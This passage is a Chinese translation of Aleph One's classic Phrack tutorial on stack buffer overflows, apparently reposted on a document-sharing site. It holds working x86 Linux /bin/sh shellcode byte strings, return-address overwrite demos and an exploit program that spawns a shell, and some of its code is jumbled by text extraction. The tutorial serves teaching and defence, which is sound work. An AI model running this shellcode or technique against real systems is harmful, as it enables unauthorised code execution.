缓冲区溢出的原理和实践

上传人:jin****ng 文档编号:228822613 上传时间:2023-08-22 格式:DOCX 页数:68 大小:141.37KB
收藏 版权申诉 举报 下载
缓冲区溢出的原理和实践_第1页
第1页 / 共68页
缓冲区溢出的原理和实践_第2页
第2页 / 共68页
缓冲区溢出的原理和实践_第3页
第3页 / 共68页
资源描述:

《缓冲区溢出的原理和实践》由会员分享,可在线阅读,更多相关《缓冲区溢出的原理和实践(68页珍藏版)》请在装配图网上搜索。

1、标题:缓冲区溢出的原理和实践(Phrack) 作者: Sinbad.oO Phrack 49 Oo.Volume Seven, Issue Forty-NineFile 14 of 16BugTraq, r00t, and Underground.Orgbring youXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit 以娱乐和牟利为目的践踏堆栈(缓冲区溢出的原理和实践)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX原作 by Aleph Onealeph1unde

2、rground.org翻译 xuzq践踏堆栈C语言编程n.在许多C语言的实现中,有可能通过写入例程中所声明的数组的结尾部分来破坏可执行的堆栈.所谓践踏堆栈使用的 代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为 险恶的数据相关漏洞(已人所共知)其变种包括堆栈垃圾化(trash the stack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack); 术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam? 也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memory leak),

3、优先权丢失(precedence lossage),螺纹滑扣(overrun screw).简介在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at 等等.本文试图 解释什么是缓冲区溢出, 以及如何利用.汇编的基础知识是必需的.对虚拟内存的概念,以及使用gdb的经验是十分有益 的,但不是必需的.我们还假定使用Intel x86 CPU,操作系统是Linux.在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内 存区域, 可以保存

4、相同数据类型的多个实例. C 程序员通常和字缓冲区数组打交道. 最常见的是字符数组. 数组, 与 C 语言中所有的变量一样, 可以被声明为静态或动态 的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中. 溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态 缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.进程的内存组织形式为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在 内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈 区域, 但首先按照顺序简单介绍一下其他区域.文本区域是由程序确定的,

5、包括代码(指令)和只读数据. 该区域相当于可执行 文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误 (segmentation violation).数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数 据区域对应可执行文件中的data-bss段.它的大小可以用系统调用brk(2)来改变. 如果bss数据的扩展或用户堆栈把可用内存消耗光了,进程就会被阻塞住,等待有了 一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间./ 内存低地址|文本| |(已初始化)|数据 |(未初始化)| |堆栈|/ 内存高地址Fig. 1 进程内存区域什么是

6、堆栈?堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来这个特性通常称为后进先处(LIFO)队列.堆栈中定义了一些操作.两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入个元素.POP操作相反,在堆栈顶部移去一个元素,并将堆栈的大小减一.为什么使用堆栈? 现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时 最重要的技术是过程(procedure)和函数(function).从这一点来看,一个过程调用可 以象跳转(jump)命令那样改变程序的控制流程,但是与跳转不同的是,当工作完成时, 函数把控

7、制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返 回值也要用到堆栈.堆栈区域堆栈是一块保存数据的连续内存.一个名为堆栈指针(SP)的寄存器指向堆栈的顶部. 堆栈的底部在一个固定的地址.堆栈的大小在运行时由内核动态地调整.CPU实现指令 PUSH和POP,向堆栈中添加元素和从中移去元素.堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑 堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈 帧所需要的数据,其中包括在函数调用时指令指针(IP)的值

8、.堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我 们的例子中,堆栈是向下增长的.这是很多计算机的实现方式,包括Intel, Motorola, SPARC和MIPS处理器.堆栈指针(SP)也是依赖于具体实现的.它可以指向堆栈的最后地址, 或者指向堆栈之后的下一个空闲可用地址.在我们的讨论当中,SP指向堆栈的最后地址.除了堆栈指针(SP指向堆栈顶部的的低地址)之外,为了使用方便还有指向帧内固定 地址的指针叫做帧指针(FP).有些文章把它叫做局部基指针(LB-local base pointer). 从理论上来说,局部变量可以用SP加偏移量来引用.然而,当有字被压栈

9、和出栈后,这 些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移 量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些 机器上,比如Intel处理器,由SP加偏移量访问一个变量需要多条指令才能实现.因此,许多编译器使用第二个寄存器,FP,对于局部变量和函数参数都可以引用, 因为它们到FP的距离不会受到PUSH和POP操作的影响.在Intel CPU 中, BP(EBP)用于这 个目的.在Motorola CPU 中,除了 A7(堆栈指针SP)之外的任何地址寄存器都可以做FP. 考虑到我们堆栈的增长方向,从FP的位置开始计算,函数参数

10、的偏移量是正值,而局部变量的偏移量是负值.当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以 恢复).然后它把SP复制到FP,创建新的FP,把SP向前移动为局部变量保留空间.这称为 例程的序幕(prolog)工作.当例程退出时,堆栈必须被清除干净,这称为例程的收尾 (epilog)工作.Intel 的 ENTER 和 LEAVE指令,Motorola 的 LINK 和 UNLINK 指令,都可以用 于 有效地序幕和收尾工作.下面我们用一个简单的例子来展示堆栈的模样:example1.c: void function(int a, int b, int c) char

11、buffer15;char buffer210;void main() function(1,2,3);为了理解程序在调用function。时都做了哪些事情,我们使用gcc的-S选项编译,以产 生汇编代码输出:$ gcc -S -o example1.s example1.c通过查看汇编语言输出,我们看到对function()的调用被翻译成:pushl $3pushl $2pushl $1call function以从后往前的顺序将function的三个参数压入栈中,然后调用function。.指令call 会把指令指针(IP)也压入栈中.我们把这被保存的IP称为返回地址(RET).在函数中所

12、做 的第一件事情是例程的序幕工作:pushl %ebp movl %esp,%ebp subl $20,%esp将帧指针 EBP 压入栈中. 然后把当前的 SP 复制到 EBP, 使其成为新的帧指针. 我们把 这个被保存的FP叫做SFP.接下来将SP的值减小,为局部变量保留空间.我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节 的缓冲区会占用8个字节(2个字)的内存空间, 而 10个字节的缓冲区会占用12个字节(3个 字)的内存空间.这就是为什么SP要减掉20的原因.这样我们就可以想象function。被调用时 堆栈的模样(每个空格代表一个字节):内存高地

13、址内存低地址buffer2 buffer1 sfp ret a b c 堆栈底部堆栈顶部缓冲区溢出缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个 经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:example2.cvoid function(char *str) char buffer16;strcpy(buffer,str);void main() char large_string256;int i;for( i = 0; i 255; i+)large_stringi = A;function(large_string);这个程序的函数含有一个

14、典型的内存缓冲区编码错误. 该函数没有进行边界检查就复 制提供的字符串,错误地使用了 strcpy()而没有使用strncpy().如果你运行这个程序就 会产生段错误. 让我们看看在调用函数时堆栈的模样:内存高地址内存低地址buffersfp ret *str 堆栈底部堆栈顶部这里发生了什么事?为什么我们得到一个段错误?答案很简单:strcpy()将*str的 内容(larger_string)复制到buffer里,直到在字符串中碰到一个空字符.显然, buffer比*$疗小很多.buffer只有16个字节长,而我们却试图向里面填入256个字节 的内容.这意味着在buffer之后,堆栈中250

15、个字节全被覆盖.包括SFP, RET,甚至*str! 我们已经把large_string全都填成了 A. A的十六进制值为0x41.这意味着现在的返回地 址是 0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回 地址的下一个指令, 此时我们就得到一个段错误.因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.现在回到第一个例子, 回忆当时堆栈的模样:内存高地址内存低地址buffer2 buffer1 sfp ret a b c 堆栈底部堆栈顶部现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码. 堆栈中

16、在buffer1之前的是SFP, SFP之前是返回地址.ret从buffer1的结尾算起是4个 字节.应该记住的是buffer1实际上是2个字即8个字节长.因此返回地址从buffer1的开 头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句 x=1;, 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:example3.c:void function(int a, int b, int c) char buffer15;char buffer210;int *ret;ret = buffer1 + 12; (*ret) += 8;void main

17、() int x;x = 0; function(1,2,3);x = 1;printf(%dn,x); 我们把bufferl的地址加上12,所得的新地址是返回地址储存的地方.我们想跳过 赋值语句而直接执行printf调用.如何知道应该给返回地址加8个字节呢?我们先前使用 过一个试验值(比如 1), 编译该程序, 祭出工具 gdb:aleph1$ gdb example3GDB is free software and you are welcome to distribute copies of it under certain conditions; type show copying t

18、o see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc. (no debugging symbols found).(gdb) disassemble mainDump of assembler code for function main:0x8000490 :pushl%ebp0x8000491 :movl%es

19、p,%ebp0x8000493 :subl$0x4,%esp0x8000496 :movl$0x0,0xfffffffc(%ebp)0x800049d :pushl$0x30x800049f :pushl$0x20x80004a1 :pushl$0x10x80004a3 :call0x8000470 0x80004a8 :addl$0xc,%esp0x80004ab :movl$0x1,0xfffffffc(%ebp)0x80004b2 :movl0xfffffffc(%ebp),%eax0x80004b5 :pushl%eax0x80004b6 :pushl$0x80004f80x80004

20、bb :call0x8000378 0x80004c0 :addl$0x8,%esp0x80004c3 :movl%ebp,%esp0x80004c5 :popl%ebp0x80004c6 :ret0x80004c7 :nop我们看到当调用function()时,RET会是0x8004a8,我们希望跳过在0x80004ab的赋值 指令. 下一个想要执行的指令在 0x8004b2. 简单的计算告诉我们两个指令的距离为 8 字节.Shell Code 现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?在大多数情况下我们只是希望程序派生出一个shell.从这个shell中,

21、可以执行任何我 们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们 怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我 们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈 的起始地址为0xFF, S代表我们想要执行的代码,堆栈看起来应该是这样:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存 高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffersfp ret a b c SSSSSSSS

22、SSSSSSSSSSSSSSSS0xD80x010x020x03人I堆栈顶部堆栈底部派生出一个shell的C语言代码是这样的:shellcode.c #include void main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NULL);为了查明这程序变成汇编后是个什么样子,我们编译它,然后祭出调试工具gdb.记住 在编译的时候要使用-static标志,否则系统调用execve的真实代码就不会包括在汇编中, 取而代之的是对动态C语言库的一个引用,真正的代码要到程序加载的时候才会联入.aleph1$ gcc

23、-o shellcode -ggdb -static shellcode.caleph1$ gdb shellcodeGDB is free software and you are welcome to distribute copies of it under certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-unknown-linux), Copy

24、right 1995 Free Software Foundation, Inc. (gdb) disassemble mainDump of assembler code for function main:0x8000130 :pushl%ebp0x8000131 :movl%esp,%ebp0x8000133 :subl$0x8,%esp0x8000136 :movl$0x80027b8,0xfffffff8(%ebp)0x800013d :movl$0x0,0xfffffffc(%ebp)0x8000144 :pushl$0x00x8000146 :leal0xfffffff8(%eb

25、p),%eax0x8000149 :pushl%eax0x800014a :movl0xfffffff8(%ebp),%eax0x800014d :pushl%eax0x800014e :call0x80002bc 0x8000153 :addl$0xc,%esp0x8000156 :movl%ebp,%esp0x8000158 :popl%ebp0x8000159 :retEnd of assembler dump. (gdb) disassemble _execveDump of assembler code for function _execve: 0x80002bc : pushl

26、%ebp0x80002bd : movl %esp,%ebp 0x80002bf : pushl %ebx 0x80002c0 : movl $0xb,%eax0x80002c5 : movl0x80002c8 : 0x80002cb : 0x80002ce : 0x80002d0 : 0x80002d2 : 0x80002d4 : 0x80002d6 : 0x80002d8 : 0x80002d9 : 0x80002de : 0x80002df : 0x80002e1 :0x8(%ebp),%ebxmovl 0xc(%ebp),%ecxmovl 0x10(%ebp),%edxint $0x8

27、0movl %eax,%edxtestl %edx,%edxjnl0x80002e6 negl %edxpushl %edxcall 0x8001a34 popl %edxmovl %edx,(%eax)movl $0xffffffff,%eax0x80002e6 :popl%ebx0x80002e7 :movl%ebp,%esp0x80002e9 :popl%ebp0x80002ea :ret0x80002eb :nopEnd of assembler dump.面我们看看这里究竟发生了什么事情. 先从 main 开始研究:0x8000130 :pushl%ebp0x8000131 :mov

28、l%esp,%ebp0x8000133 :subl$0x8,%esp这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针, 然后为局部变量保留空间. 这里是:char *name2;即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节) 的空间.0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)我们把0x80027b8(字串”/bin/sh的地址)这个值复制到name中的第一个指针,这 等价于:name0 = /bin/sh;0x800013d :movl $0x0,0xfffffffc(%ebp)我们把值Ox

29、O(NULL)复制到name中的第二个指针,这等价于:name1 = NULL;对execve()的真正调用从下面开始:0x8000144 : pushl $0x0我们把execve()的参数以从后向前的顺序压入堆栈中,这里从NULL开始.0x8000146 : leal 0xfffffff8(%ebp),%eax把name的地址放到EAX寄存器中.0x8000149 :pushl %eax接着就把name的地址压入堆栈中.0x800014a :movl 0xfffffff8(%ebp),%eax把字串/bin/sh的地址放到EAX寄存器中0x800014d :pushl %eax接着就把字串

30、/bin/sh ”的地址压入堆栈中0x800014e :call0x80002bc 调用库例程execve().这个调用指令把IP(指令指针)压入堆栈中.现在到了 execve().要注意我们使用的是基于Intel的Linux系统.系统调用的细节随 操作系统和CPU的不同而不同.有的把参数压入堆栈中,有的保存在寄存器里.有的使用 软中断跳入内核模式,有的使用远调用(far call). Linux把传给系统调用的参数保存在 寄存器里, 并且使用软中断跳入内核模式.%ebp%esp,%ebp%ebx0x80002bc : pushl0x80002bd : movl 0x80002bf : pus

31、hl例程的准备工作.0x80002c0 : movl$0xb,%eax把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈).0xb是系统调用表的索引 11 就是 execve.0x80002c5 : movl0x8(%ebp),%ebx把/bin/sh的地址放到寄存器EBX中.把name的地址放到寄存器ECX中.0x80002cb :movl 0x10(%ebp),%edx把空指针的地址放到寄存器EDX中.0x80002ce :int$0x80进入内核模式.由此可见调用execve()也没有什么太多的工作要做,所有要做的事情总结如下:a)把以NULL结尾的字串/bin/sh放到内存某处.

32、b)把字串/bin/sh的地址放到内存某处,后面跟一个空的长字(null long word)c)把0xb放到寄存器EAX中.d)把字串/bin/sh的地址放到寄存器EBX中.e)把字串/bin/sh地址的地址放到寄存器ECX中.(注:原文d和e步骤把EBX和ECX弄反了)f)把空长字的地址放到寄存器EDX中.g)执行指令 int $0x80.但是如果execve()调用由于某种原因失败了怎么办?程序会继续从堆栈中读取指令, 这时的堆栈中可能含有随机的数据!程序执行这样的指令十有八九会core dump.如果execv e调用失败我们还是希望程序能够干净地退出.为此必须在调用execve之后加

33、入一个exit 系统调用. exit 系统调用在汇编语言看起来象什么呢?exit.c #include void main() exit(0);aleph1$ gcc -o exit -static exit.caleph1$ gdb exitGDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type

34、 show warranty for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc. (no debugging symbols found).(gdb) disassemble _exitDump of assembler codefor function _exit:0x800034c :pushl%ebp0x800034d :movl%esp,%ebp0x800034f :pushl%ebx0x8000350 :movl$0x1,%eax0x8000355 :movl

35、0x8(%ebp),%ebx0x8000358 :int$0x800x800035a :movl0xfffffffc(%ebp),%ebx0x800035d :movl%ebp,%esp0x800035f :popl%ebp0x8000360 :ret0x8000361 :nop0x8000362 :nop0x8000363 :nopEnd of assembler dump.系统调用exit会把0x1放到寄存器EAX 中,在EBX中放置退出码,并且执行”int 0x80”. 就这些了!大多数应用程序在退出时返回0,以表示没有错误.我们在EBX中也放入0.现 在我们构造shell code的步

36、骤就是这样的了:a)把以NULL结尾的字串/bin/sh放到内存某处.b)把字串/bin/sh的地址放到内存某处,后面跟一个空的长字(null long word)c)把0xb放到寄存器EAX中.d)把字串/bin/sh的地址放到寄存器EBX中.e)把字串/bin/sh地址的地址放到寄存器ECX中.(注:原文d和e步骤把EBX和ECX弄反了)f)把空长字的地址放到寄存器EDX中.g)执行指令 int $0x80.h)把0x1放到寄存器EAX中.i)把0x0放到寄存器EAX中.j)执行指令 int $0x80.试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串 地址和空

37、字, 我们有如下的代码:movl string_addr,string_addr_addrmovb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here.问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到 哪里.一种解决方法是使用

38、JMP和CALL指令.JMP和CALL指令使用相对IP的寻址方式, 也就是说我们可以跳到距离当前IP 一定间距的某个位置,而不必知道那个位置在内存中的确切 地址.如果我们在字串/bin/sh之前放一个CALL指令,并由一个JMP指令转到CALL指令 上.当CALL指令执行的时候,字串的地址会被作为返回地址压入堆栈之中.我们所需要的就是 把返回地址放到一个寄存器之中.CALL指令只是调用我们上述的代码就可以了.假定J代 表JMP指令,C代表CALL指令,s代表字串,执行过程如下所示:内存低高地址DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存89A

39、BCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffersfp ret a b c JJSSSSSSSSSSSSSSCCssssss0xD80x010x020x03A|AA| (1)(2) | (3)堆栈底部堆栈顶部运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:jmpoffset-to-call# 2 bytespopl %esi# 1 bytemovl%esi,array-offset(%esi) # 3 bytesmovb$0x0,nullbyteoffset(%esi)# 4 bytesmovl$0x0,nu

40、ll-offset(%esi)# 7 bytesmovl$0xb,%eax# 5 bytesmovl%esi,%ebx# 2 byteslealarray-offset(%esi),%ecx# 3 byteslealnull-offset(%esi),%edx# 3 bytesint$0x80# 2 bytesmovl$0x1, %eax# 5 bytesmovl$0x0, %ebx# 5 bytesint$0x80# 2 bytescalloffset-to-popl# 5 bytes/bin/sh string goes here.通过计算从 jmp 到 call, 从 call 到 po

41、pl, 从字串地址到数组, 从字串地址到空长字的 偏量, 我们得到:jmp0x26# 2 bytespopl%esi# 1 bytemovl%esi,0x8(%esi)# 3 bytesmovb$0x0,0x7(%esi)# 4 bytesmovl$0x0,0xc(%esi)# 7 bytesmovl$0xb,%eax# 5 bytesmovl%esi,%ebx# 2 bytesleal0x8(%esi),%ecx# 3 bytesleal0xc(%esi),%edx# 3 bytesint$0x80# 2 bytesmovl$0x1, %eax# 5 bytesmovl$0x0, %ebx#

42、 5 bytesint$0x80# 2 bytescall-0x2b# 5 bytes.string /bin/sh# 8 bytes这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题. 我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们 必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数 据段中的全局数组中. 我们首先需要用 16 进制表示的二进制代码. 先编译, 然后再用 gdb 来取得二进制代码.shellcodeasm.cvoid main() _asm_(jmp0x2a# 3 bytespop

43、l%esi# 1 bytemovl%esi,0x8(%esi)# 3 bytesmovb$0x0,0x7(%esi)# 4 bytesmovl$0x0,0xc(%esi)# 7 bytesmovl$0xb,%eax# 5 bytesmovl%esi,%ebx# 2 bytesleal0x8(%esi),%ecx# 3 bytesleal0xc(%esi),%edx# 3 bytesint$0x80# 2 bytesmovl$0x1, %eax# 5 bytesmovl$0x0, %ebx# 5 bytesint$0x80# 2 bytescall-0x2f# 5 bytes.string /b

44、in/sh# 8 bytes);aleph1$ gcc -o shellcodeasm -g -ggdb shellcodeasm.caleph1$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of it under certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB

45、 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc. (gdb) disassemble mainDump of assembler code for function main:0x8000130 :pushl%ebp0x8000131 :movl%esp,%ebp0x8000133 :jmp0x800015f 0x8000135 :popl%esi0x8000136 :movl%esi,0x8(%esi)0x8000139 :movb$0x0,0x7(%esi)0x800013d :movl$0x

46、0,0xc(%esi)0x8000144 :movl$0xb,%eax0x8000149 :movl%esi,%ebx0x800014b :leal0x8(%esi),%ecx0x800014e :leal0xc(%esi),%edx0x8000151 :int$0x800x8000153 :movl$0x1,%eax0x8000158 :movl$0x0,%ebx0x800015d :int$0x800x800015f :call0x8000135 0x8000164 :das0x8000165 :boundl 0x6e(%ecx),%ebp0x8000168 :das0x8000169 :

47、jae0x80001d3 0x800016b :addb%cl,0x55c35dec(%ecx)End of assembler dump.(gdb) x/bx main+30x8000133 :0xeb(gdb)0x8000134 :0x2a(gdb)testsc.c char shellcode =xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff xff

48、x2fx62x69x6ex2fx73x68x00x89xecx5dxc3;void main() int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;aleph1$ gcc -o testsc testsc.caleph1$ ./testsc$ exitaleph1$成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾,复制工作就到此为止了.对于我们的破解工作来说,在shellcode里不能有NULL字节.下面来消除这些字节, 同时把代

49、码精简一点.Problem instruction:Substitute with:movb $0x0,0x7(%esi) molv $0x0,0xc(%esi)xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi)movl $0xb,%eaxmovb $0xb,%almovl $0x1, %eax movl $0x0, %ebxxorl %ebx,%ebx movl %ebx,%eax inc%eaxOur improved code:shellcodeasm2.c void main() _asm_(jmp0x1f# 2 bytespo

50、pl%esi# 1 bytemovl%esi,0x8(%esi)# 3 bytesxorl%eax,%eax# 2 bytesmovb%eax,0x7(%esi)# 3 bytesmovl%eax,0xc(%esi)# 3 bytesmovb$0xb,%al# 2 bytesmovl%esi,%ebx# 2 bytesleal0x8(%esi),%ecx# 3 bytesleal0xc(%esi),%edx# 3 bytesint$0x80# 2 bytesxorl%ebx,%ebx# 2 bytesmovl%ebx,%eax# 2 bytesinc%eax# 1 bytesint$0x80#

51、 2 bytescall-0x24# 5 bytes.string /bin/sh# 8 bytes# 46 bytes total );And our new test program: testsc2.c char shellcode =xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff/bin/sh;void main() int *ret;ret = (int *)&ret + 2;(*ret) = (int

52、)shellcode;aleph1$ gcc -o testsc2 testsc2.caleph1$ ./testsc2$ exitaleph1$破解实战现在把手头的工具都准备好. 我们已经有了 shellcode. 我们知道 shellcode 必须是被 溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:overflow1.c char shellcode =xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80x

53、e8xdcxffxffxff/bin/sh;char large_string128;void main() char buffer96;int i;long *long_ptr = (long *) large_string;for (i = 0; i 32; i+) *(long_ptr + i) = (int) buffer;for (i = 0; i strlen(shellcode); i+) large_stringi = shellcodei;strcpy(buffer,large_string);aleph1$ gcc -o exploit1 exploit1.caleph1$

54、 ./exploit1$ exitexitaleph1$如上所示,我们用buffer的地址来填充large_string数组,shellcode就将会在 buffer之中.然后我们把shellcode复制到large_string字串的开头.strcpy()不做任 何边界检查就会将large_string复制到buffer中去,并且覆盖返回地址.现在的返回地址 就是我们shellcode的起始位置.一旦执行到main函数的尾部,在试图返回时就会跳到我 们的 shellcode 中 , 得到一个 shell.我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个 缓冲区(会

55、有我们的shellcode)的地址在哪?答案是:对于每一个程序,堆栈的起始地址 都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈 的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出 它的堆栈指针:sp.c unsigned long get_sp(void) _asm_(movl %esp,%eax);void main() printf(0x%xn, get_sp();aleph1$ ./sp0x8000470aleph1$假定我们要使其溢出的程序如下:vulnerable.cvoid main(int argc, char *a

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!